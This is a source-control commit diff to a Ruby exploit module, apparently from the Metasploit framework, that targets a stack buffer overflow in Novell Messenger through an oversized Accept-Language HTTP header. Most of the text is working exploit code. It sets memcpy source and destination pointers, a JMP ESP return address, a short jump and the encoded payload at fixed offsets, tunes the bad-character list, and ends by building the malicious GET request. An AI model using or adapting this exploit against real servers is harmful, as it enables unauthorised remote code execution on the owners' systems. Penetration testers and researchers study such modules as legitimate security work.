Updated

git-svn-id: file:///home/svn/incoming/trunk@3601 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/http/novell_messenger_acceptlang.rb

@@ -31,9 +31,7 @@ class Exploits::Windows::Http::NovellMessengerAcceptLanguage < Msf::Exploit::Rem
 			'Payload'        =>
 				{
 					'Space'           => 500, 
-					'BadChars'        => 
+					'BadChars'        => "\x00\x0a\x2c\x3b"+ [*("A".."Z")].join,
-						"\x00\x3a\x3b\x3c\x3d\x3e\x3f\x09\x0b\x0a\x0d\x20\x21\x22\x23\x24\x25\x26\x2c\x10"+
-						[*("A".."Z")].join,
 					'StackAdjustment' => -3500,
 				},
 			'Platform'       => 'win',
@@ -49,34 +47,12 @@ class Exploits::Windows::Http::NovellMessengerAcceptLanguage < Msf::Exploit::Rem
 	def exploit
 		connect
 
-		lang = 
+		lang = Rex::Text.rand_text_alphanumeric(1900)
-			# Padding to reach the memcpy src pointer
+		lang[ 16, 4] = [target['Rets'][1]].pack('V') # SRC
-			Rex::Text.rand_text_alphanumeric(16) +
+		lang[272, 4] = [target['Rets'][1]].pack('V') # DST
-			
+		lang[264, 4] = [target['Rets'][0]].pack('V') # JMP ESP
-			# The source pointer for the memcpy
+		lang[268, 2] = "\xeb\x06"
-			[target['Rets'][1]].pack('V') + 
+		lang[276, payload.encoded.length] = payload.encoded
-			
-			# Padding to reach the stack return address
-			Rex::Text.rand_text_alphanumeric(240)
-			
-			# The return address (a jmp esp)
-			[target['Rets'][0]].pack('V') + 
-			
-			# Jump over the next 6 bytes to payload
-			"\xeb\x06" + 
-			
-			# Padding to reach the memcpy dst pointer
-			Rex::Text.rand_text_alphanumeric(2) +
-			
-			# The destination pointer for the memcpy
-			[target['Rets'][1]].pack('V') + 
-			
-			# The actual payload
-			payload.encoded +
-			
-			# Padding to keep the request aligned in memory
-			Rex::Text.rand_text_alphanumeric(1500-payload.encoded.length)
-			 
 		
 		res = "GET / HTTP/1.1\r\nAccept-Language: #{lang}\r\n\r\n"